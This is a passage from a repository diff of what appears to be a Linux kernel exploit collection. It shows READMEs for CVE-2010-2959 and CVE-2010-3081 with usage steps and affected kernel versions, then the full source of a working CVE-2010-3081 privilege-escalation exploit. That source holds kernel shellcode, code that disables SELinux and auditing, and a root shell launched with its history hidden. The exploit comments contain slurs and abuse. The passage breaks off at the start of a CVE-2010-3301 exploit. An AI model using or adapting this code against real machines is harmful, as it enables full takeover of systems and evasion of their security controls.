main(int argc, char **argv)
{
setup();
trigger();
return 0;
}

View File

@ -0,0 +1,24 @@
# CVE-2010-2959
CVE-2010-2959
Vulnerability reference:
* [CVE-2010-2959](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2959)
* [exp-db](http://www.exploit-db.com/exploits/14814/)
## Kernels
```
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
```
## Usage
```
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
$ ./i-can-haz-modharden
```
### This binary has been verified on:
- Ubuntu 10.04.1 - 2.6.32-24-generic #39-Ubuntu x86_32

BIN
2010/CVE-2010-2959/can_bcm Normal file

Binary file not shown.

930
2010/CVE-2010-3081/15024.c Normal file
View File

@ -0,0 +1,930 @@
/*
Ac1dB1tch3z Vs Linux Kernel x86_64 0day
Today is a sad day..
R.I.P.
Tue, 29 Apr 2008 / Tue, 7 Sep 2010
a bit of history:
MCAST_MSFILTER Compat mode bug found... upon commit! (2 year life on this one)
author David L Stevens <dlstevens () us ibm com>
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
committer David S. Miller <davem () davemloft net>
Tue, 29 Apr 2008 10:23:22 +0000 (03:23 -0700)
This patch adds support for getsockopt for MCAST_MSFILTER for
both IPv4 and IPv6. It depends on the previous setsockopt patch,
and uses the same method.
Signed-off-by: David L Stevens <dlstevens () us ibm com>
Signed-off-by: YOSHIFUJI Hideaki <yoshfuji () linux-ipv6 org>
Signed-off-by: David S. Miller <davem () davemloft net>
------------------------------------------------------------
Thank you for signing-off on this one guys.
This exploit has been tested very thoroughly
over the course of the past few years on many many targets.
Thanks to redhat for being nice enough to backport it into early
kernel versions (anything from later August 2008+)
Ac1dB1tch3z would like to say F*** YOU Ben Hawkes. You are a new hero! You saved the
plan8 man. Just a bit too l8.
PS:
OpenVZ Payload / GRsec bypass removed for kidiots and fame whores. (same thing right ;))
*/
#include <poll.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sched.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <errno.h>
#ifndef __i386__
#error "r34d th3 c0d3 m0r0n!!# () #"
#else
#define _GNU_SOURCE
#define __dgdhdytrg55 unsigned int
#define __yyrhdgdtfs66ytgetrfd unsigned long long
#define __dhdyetgdfstreg__ memcpy
#define VERT "\033[32m"
#define NORM "\033[0m"
#define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
#define KALLSYMS "/proc/kallsyms"
#define TMAGIC_66TDFDRTS "/proc/timer_list"
#define SELINUX_PATH "/selinux/enforce"
#define RW_FOPS "timer_list_fops"
#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
#define PREPARE_GGDTSGFSRFSD "prepare_creds"
#define OVERRIDE_GGDTSGFSRFSD "override_creds"
#define REVERT_DHDGTRRTEFDTD "revert_creds"
#define Y0Y0SMAP 0x100000UL
#define Y0Y0CMAP 0x200000UL
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
#define J0J0S 0x00200000UL
#define J0J0R00T 0x002000F0UL
#define PAGE_SIZE 0x1000
#define KERN_DHHDYTMLADSFPYT 0x1
#define KERN_DGGDYDTEGGETFDRLAK 0x2
#define KERN_HHSYPPLORQTWGFD 0x4
#define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
#define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
#define TRY_REMAP_DEFAULT 1
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
#define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
static char buffer[1024];
static int s;
static int flags=0;
volatile static socklen_t magiclen=0;
static int useidt=0, usefops=0, uselsm=0;
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
static __dgdhdytrg55 _m_cpu_off=0;
static char krelease[64];
static char kversion[128];
#define R0C_0FF 14
static char ttrg0ccc[]=
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
#define R0YTTTTUHLFSTT_OFF1 5
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
#define R0TDGFSRSLLSJ_SHSYSTGD 45
char r1ngrrrrrrr[]=
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
#define RJMPDDTGR_OFF 13
#define RJMPDDTGR_DHDYTGSCAVSF 7
#define RJMPDDTGR_GDTDGTSFRDFT 25
static char ttrfd0[]=
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x58\x5f"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xc3";
/* implement selinux bypass for IDT ! */
#define RJMPDDTGR_OFF_IDT 14
#define RJMPDDTGR_DYHHTSFDARE 8
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
static char ruujhdbgatrfe345[]=
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x0f\x01\xf8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\xcf";
#define CJE_4554TFFDTRMAJHD_OFF 10
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
static char dis4blens4sel1nuxhayettgdr64545[]=
"\x41\x52\x50"
"\xb8\x00\x00\x00\x00"
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x89\x02"
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
"\x41\x89\x02"
"\x58\x41\x5a";
/* rhel LSM stuffs */
#define RHEL_LSM_OFF 98
struct LSM_rhel
{
__yyrhdgdtfs66ytgetrfd selinux_ops;
__yyrhdgdtfs66ytgetrfd capability_ops;
__yyrhdgdtfs66ytgetrfd dummy_security_ops;
__yyrhdgdtfs66ytgetrfd selinux_enforcing;
__yyrhdgdtfs66ytgetrfd audit_enabled;
const char *krelease;
const char *kversion;
};
struct LSM_rhel known_targets[4]=
{
{
0xffffffff8031e600ULL,
0xffffffff8031fec0ULL,
0xffffffff804acc00ULL,
0xffffffff804af960ULL,
0xffffffff8049b124ULL,
"2.6.18-164.el5",
"#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
},
{
0xffffffff8031f600ULL,
0xffffffff80320ec0ULL,
0xffffffff804afc00ULL,
0xffffffff804b2960ULL,
0xffffffff8049e124ULL,
"2.6.18-164.11.1.el5",
"#1 SMP Wed Jan 6 13:26:04 EST 2010"
},
{
0xffffffff805296a0ULL,
0xffffffff8052af60ULL,
0xffffffff806db1e0ULL,
0xffffffff806ddf40ULL,
0xffffffff806d5324ULL,
"2.6.18-164.11.1.el5xen",
"#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
},
{
0xffffffff8031f600ULL,// d selinux_ops
0xffffffff80320ec0ULL,// d capability_ops
0xffffffff804afc00ULL,// B dummy_security_ops
0xffffffff804b2960ULL,// B selinux_enforcing
0xffffffff8049e124ULL,// B audit_enabled
"2.6.18-164.11.1.el5",
"#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
}
};
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
struct socketcallAT
{
int s;
int level;
int optname;
void *optval;
volatile socklen_t *optlen;
}__attribute__((packed));
struct idt64from32_s
{
unsigned short limit;
unsigned long base;
}__attribute__((packed));
static __yyrhdgdtfs66ytgetrfd getidt()
{
struct idt64from32_s idt;
memset(&idt, 0x00, sizeof(struct idt64from32_s));
asm volatile("sidt %0" : "=m"(idt));
return idt.base | 0xFFFFFFFF00000000ULL;
}
static int isSelinuxEnabled()
{
FILE *selinux_f;
selinux_f = fopen(SELINUX_PATH, "r");
if(selinux_f == NULL)
{
if(errno == EPERM)
return 1;
else
return 0;
}
fclose(selinux_f);
return 1;
}
static int wtfyourunhere_heee(char *out_release, char* out_version)
{
int ret; const char*ptr;
int count=0;
char r[32], *bptr;
struct utsname buf;
ret = uname(&buf);
if(ret < 0)
return -1;
strcpy(out_release, buf.release);
strcpy(out_version, buf.version);
ptr = buf.release;
bptr = r;
memset(r, 0x00, sizeof(r));
while(*ptr)
{
if(count == 2)
{
if(*ptr >= '0' && *ptr <= '9')
*bptr++ = *ptr;
else
break;
}
if(*ptr == '.')
count++;
ptr++;
}
if(strlen(r) < 1 || !atoi(r))
return -1;
return atoi(r);
}
static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
{
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
*((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
__dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
__dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
}
static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
{
FILE *ka;
char line[512];
char reloc_a[64];
char reloc[64];
if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
return 0;
ka = fopen(filename, "r");
if(!ka)
return 0;
while(fgets(line, 512, ka) != NULL)
{
char *l_p = line;
char *ra_p = reloc_a;
char *r_p = reloc;
memset(reloc, 0x00, sizeof(reloc));
memset(reloc_a, 0x00, sizeof(reloc_a));
while(*l_p != ' ' && (ra_p - reloc_a) < 64)
*ra_p++ = *l_p++;
l_p += 3;
while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
*r_p++ = *l_p++;
if(!strcmp(reloc, s))
{
__gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
return strtoull(reloc_a, NULL, 16);
}
}
return 0;
}
static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
{
return get_sym_ex(s, KALLSYMS, 0);
}
static int parse_cred(const char* val)
{
int i=0;
const char* p = val;
char local[64], *l;
for(i=0; i<3; i++)
{
memset(local, 0x00, sizeof(local));
l = local;
while(*p && *p != ',')
*l++ = *p++;
if(!(*p) && i != 2)
return -1;
_m_cred[i] = strtoull(local, NULL, 16);
p++;
}
return 0;
}
#define SELINUX_OPS "selinux_ops"
#define DUMMY_SECURITY_OPS "dummy_security_ops"
#define CAPABILITY_OPS "capability_ops"
#define SELINUX_ENFORCING "selinux_enforcing"
#define AUDIT_ENABLED "audit_enabled"
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
{
int i;
char mapbuf[128];
struct LSM_rhel *lsm = &(known_targets[0]);
if(check_rhel && !isRHHGDPPLADSF(krelease))
{
__pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
return NULL;
}
__pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
{
if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
{
__gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
return lsm;
}
}
__pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
strcpy(mapbuf, "/boot/System.map-");
strcat(mapbuf, krelease);
dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
!dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
!dyn4nt4n1labeggeyrthryt.capability_ops ||
!dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
!dyn4nt4n1labeggeyrthryt.audit_enabled)
return NULL;
return &dyn4nt4n1labeggeyrthryt;
}
static void put_your_hands_up_hooker(int argc, char *argv[])
{
int fd,ver,ret;
char __b[16];
fd = open(KALLSYMS, O_RDONLY);
ret = read(fd, __b, 16); // dummy read
if((fd >= 0 && ret > 0))
{
__pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
flags |= KERN_HHSYPPLORQTWGFD;
}
close(fd);
ver = wtfyourunhere_heee(krelease, kversion);
if(ver < 0)
__yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
__gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
if(argc != 1)
{
while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
{
switch(ret)
{
case 'i':
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
useidt=1; // u have to use -i to force IDT Vector
break;
case 'f':
flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
break;
case 'l':
flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
break;
case 'c':
if(!optarg || parse_cred(optarg) < 0)
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
break;
case 'k':
if(optarg)
_m_fops = strtoull(optarg, NULL, 16);
else
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
break;
case 's':
if(!isSelinuxEnabled())
__pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
else
flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
break;
case 'o':
if(optarg)
_m_cpu_off = strtoull(optarg, NULL, 16);
else
__yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
break;
}
}
}
if(ver >= 29) // needs cred structure
{
flags |= KERN_DGGDYDTEGGETFDRLAK;
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
{
_m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
_m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
_m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
}
if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
{
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
}
__pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
*((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
}
if(ver >= 30) // needs cpu offset
{
flags |= KERN_DHHDYTMLADSFPYT;
if(!_m_cpu_off)
_m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
if(!_m_cpu_off)
__yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
__pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
*((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
*((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
}
}
static void env_prepare(int argc, char* argv[])
{
put_your_hands_up_hooker(argc, argv);
if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
{
__pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
if(!_m_fops)
_m_fops = get_sym(RW_FOPS);
/* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
* Thanks to the guy who killed this vector... you know who you are:)
* Lucky for you, there are more:)
*/
if(_m_fops)
{
usefops=1;
__pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
}
}
if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
{
curr_target = lsm_rhel_find_target(1);
if(!curr_target)
{
__pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
}
else
uselsm=1;
}
if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
{
// -i flag
curr_target = lsm_rhel_find_target(0);
if(!curr_target)
{
__pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
/* remove Selinux Flag */
flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
}
}
if(!usefops && !useidt && !uselsm)
__yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^ () * try an0th3r 0d4y L0l\n");
}
static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
{
int socklen_l = 8 + stack - addr - 16;
return socklen_l;
}
static struct socketcallAT at;
static __dgdhdytrg55 idtover[4] =
{0x00100000UL,
0x0020ee00UL,
0x00000000UL,
0x00000000UL};
static void fillsocketcallAT()
{
at.s = s;
at.level = SOL_IP;
at.optname = MCAST_MSFILTER;
at.optval = buffer;
at.optlen = &magiclen;
}
static void bitch_call(struct socketcallAT *at, void *stack)
{
asm volatile(
"push %%ebx\t\n"
"push %%esi\t\n"
"push %%ecx\t\n"
"push %%edx\t\n"
"movl $0x66, %%eax\t\n"
"movl $0xf, %%ebx\t\n"
"movl %%esp, %%esi\t\n"
"movl %0, %%ecx\t\n"
"movl %1, %%esp\t\n"
"int $0x80\t\n"
"movl %%esi, %%esp\t\n"
"pop %%edx\t\n"
"pop %%ecx\t\n"
"pop %%esi\t\n"
"pop %%ebx\t\n"
: : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
);
}
static void __setmcbuffer(__dgdhdytrg55 value)
{
int i;
__dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
*(p+i) = value;
}
static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
{
int i;
__dgdhdytrg55 curr;
for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
{
curr = idtover[i];
__setmcbuffer(curr);
magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
bitch_call(&at, (void*)Y0Y0STOP);
}
}
static void y0y0stack()
{
void* map = mmap((void*)Y0Y0SMAP,
PAGE_SIZE,
PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1,0);
if(MAP_FAILED == map)
__xxxfdgftr_hshsgdt("mmap");
}
static void y0y0code()
{
void* map = mmap((void*)Y0Y0CMAP,
PAGE_SIZE,
#ifdef TRY_REMAP_DEFAULT
PROT_READ|PROT_WRITE,
#else
PROT_READ|PROT_WRITE|PROT_EXEC,
#endif
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1,0);
if(MAP_FAILED == map)
__xxxfdgftr_hshsgdt("mmap");
}
static int rey0y0code(unsigned long old)
{
int fd;
void *map;
volatile char wizard;
char cwd[1024];
getcwd(cwd, sizeof(cwd));
strcat(cwd, "/__tmpfile");
unlink(cwd);
fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
if(fd < 0)
return -1;
write(fd, (const void*)old, PAGE_SIZE);
if(munmap((void*)old, PAGE_SIZE) < 0)
return -1;
map = mmap((void*)old,
PAGE_SIZE,
PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED,
fd,0);
if(map == MAP_FAILED)
return -1;
/* avoid lazy page fault handler
* Triple Fault when using idt vector
* and no pages are already mapped:)
*/
wizard = *((char*)old);
unlink(cwd);
return wizard;
}
int main(int argc, char*argv[])
{
int uid,fd;
__yyrhdgdtfs66ytgetrfd *patch, idtb;
struct pollfd pfd;
printf(BANNER);
uid = getuid();
env_prepare(argc, argv);
y0y0stack();
y0y0code();
if(useidt)
{
idtb = getidt();
__gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
{
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
p4tch_sel1nux_codztegfaddczda(curr_target);
}
__dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
}
else if(usefops || uselsm)
{
__pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
*patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
__setmcbuffer(J0J0S);
__pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
{
__pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
p4tch_sel1nux_codztegfaddczda(curr_target);
}
__dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
}
/* set shellcode level 2 */
if(flags & KERN_DGGDYDTEGGETFDRLAK)
{
__pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
__dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
}
else
{
__pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
__dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
*((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
}
__pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
s = socket(AF_INET, SOCK_DGRAM, 0);
if(s < 0)
__xxxfdgftr_hshsgdt("socket");
fillsocketcallAT();
#ifdef TRY_REMAP_DEFAULT
if(rey0y0code(Y0Y0CMAP) < 0)
__yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
#endif
if(useidt)
{
__yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
__gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
idt_smash((idtentry));
sleep(1);
asm volatile("int $0xdd\t\n");
}
else if(usefops)
{
magiclen = get_socklen(_m_fops, Y0Y0STOP);
magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
__gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
__pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
bitch_call(&at, (void*)Y0Y0STOP);
sleep(1);
fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
if(fd < 0)
__xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
pfd.fd = fd;
pfd.events = POLLIN | POLLOUT;
poll(&pfd, 1, 0);
}
else if(uselsm)
{
int msqid;
__yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
__yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
__yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
msqid = msgget(0, IPC_PRIVATE|0600);
if(msqid < 0)
__xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
__setmcbuffer(J0J0S);
bitch_call(&at, (void*)Y0Y0STOP);
magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
__setmcbuffer(0);
bitch_call(&at, (void*)Y0Y0STOP);
magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
__setmcbuffer(J0J0S);
bitch_call(&at, (void*)Y0Y0STOP);
magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
__setmcbuffer(0);
bitch_call(&at, (void*)Y0Y0STOP);
magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
__setmcbuffer(J0J0S);
bitch_call(&at, (void*)Y0Y0STOP);
magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
__setmcbuffer(0);
bitch_call(&at, (void*)Y0Y0STOP);
msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
}
munmap((void*)Y0Y0CMAP, PAGE_SIZE);
/* exec */
if(getuid() == 0)
{
pid_t pid;
__pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
pid = fork();
if(pid == 0)
{
char *args[] = {"/bin/sh", "-i", NULL};
char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
"PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
execve("/bin/sh", args, envp);
}
else
{
int status;
waitpid(pid, &status, 0);
}
}
else
__pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
close(s);
return 0;
}
#endif // -m32

View File

@ -0,0 +1,17 @@
# CVE-2010-3081
CVE-2010-3081
Vulnerability reference:
* [CVE-2010-3081](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3081)
* [exp-db](https://www.exploit-db.com/exploits/15024/)
## Kernels
```
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33
```

194
2010/CVE-2010-3301/15023.c Normal file
View File

@ -0,0 +1,194 @@
/*
* exploit for x86_64 linux kernel ia32syscall emulation (again)
